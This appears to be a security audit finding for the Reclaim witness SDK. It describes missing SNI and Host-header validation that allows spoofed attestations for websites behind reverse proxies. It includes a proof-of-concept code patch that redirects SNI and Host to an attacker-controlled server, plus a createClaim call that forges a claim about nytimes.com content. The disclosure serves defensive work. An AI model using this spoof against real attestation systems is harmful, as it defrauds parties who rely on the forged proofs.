Description

The Reclaim node does not validate that either the server name indication (SNI) extension in the ClientHello message or the Host header in the HTTP request match the expected host. Most popular websites use a reverse proxy service such as Cloudflare, Fastly, or Akamai to serve their content. These services use these two values to determine the origin server to route the request to. Thus, for most websites, Reclaim claims can be spoofed by modifying the SNI/Host header in the request to be a server that the attacker controls.

To test this vulnerability, we can first modify createRequest in witness-sdk/src/providers/http-provider/index.ts:

const httpReqHeaderStr = [
  reqLine,
-  `Host: ${hostPort}`,
+  `Host: fastly.okay.blue`,
  `Content-Length: ${contentLength}`,

Then, we modify packServerNameExtension in :

function packServerNameExtension(host) {
+     host = 'fastly.okay.blue'
    return packExtension({

Then, we can use the below code to create a claim that https://www.nytimes.com is serving the content reclaim sni poc:

import { createClaim } from './src/index'

const claim = await createClaim({
	name: 'http',
	params: {
		url: 'https://www.nytimes.com',
		method: 'GET',
		responseMatches: [{
			type: 'contains',
			value: 'reclaim sni poc',
		}],
		responseRedactions: [],
	},
	secretParams: {
		cookieStr: 'a'
	},
	ownerPrivateKey: '0x...'
})

console.log(claim)

This issue occurs in witness-sdk/src/providers/http-provider/index.ts, where only the address that the node connected to is validated:

assertValidProviderReceipt(receipt, paramsAny) {
  // ...
  const expHostPort = `${hostname}:${port || DEFAULT_PORT}`
  if(receipt.hostPort !== expHostPort) {
    logTranscript()

    throw new Error(
      `Expected hostPort: ${expHostPort}, found: ${receipt.hostPort}`
    )
  }

Impact

This allows an attacker to spoof claims for most websites that use reverse proxy services.

Recommendations

The Reclaim node should validate that the SNI extension in the ClientHello message and the Host header in the HTTP request match the expected host.

Remediation